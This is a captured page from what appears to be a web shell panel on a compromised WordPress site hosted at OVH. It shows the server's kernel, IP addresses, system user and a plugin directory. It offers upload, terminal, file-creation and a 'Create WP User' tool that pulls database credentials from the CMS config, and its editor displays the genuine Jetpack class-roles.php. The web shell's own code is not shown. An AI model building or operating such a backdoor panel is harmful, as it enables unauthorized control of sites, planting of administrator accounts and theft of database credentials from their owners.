Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
vendor
/
automattic
/
jetpack-roles
/
src
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
class-roles.php
1.82 KB
-rw-------
2026-07-03 00:58
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
class-roles.php
<?php /** * A user roles class for Jetpack. * * @package automattic/jetpack-roles */ namespace Automattic\Jetpack; /** * Class Automattic\Jetpack\Roles * * Contains utilities for translating user roles to capabilities and vice versa. */ class Roles { /** * Map of roles we care about, and their corresponding minimum capabilities. * * @access protected * * @var array */ protected $capability_translations = array( 'administrator' => 'manage_options', 'editor' => 'edit_others_posts', 'author' => 'publish_posts', 'contributor' => 'edit_posts', 'subscriber' => 'read', ); /** * Get the role of the current user. * * @access public * * @return string|boolean Current user's role, false if not enough capabilities for any of the roles. */ public function translate_current_user_to_role() { foreach ( $this->capability_translations as $role => $cap ) { if ( current_user_can( $role ) || current_user_can( $cap ) ) { return $role; } } return false; } /** * Get the role of a particular user. * * @access public * * @param \WP_User $user User object. * @return string|boolean User's role, false if not enough capabilities for any of the roles. */ public function translate_user_to_role( $user ) { foreach ( $this->capability_translations as $role => $cap ) { if ( user_can( $user, $role ) || user_can( $user, $cap ) ) { return $role; } } return false; } /** * Get the minimum capability for a role. * * @access public * * @param string $role Role name. * @return string|boolean Capability, false if role isn't mapped to any capabilities. */ public function translate_role_to_cap( $role ) { if ( ! isset( $this->capability_translations[ $role ] ) ) { return false; } return $this->capability_translations[ $role ]; } }
关闭
保存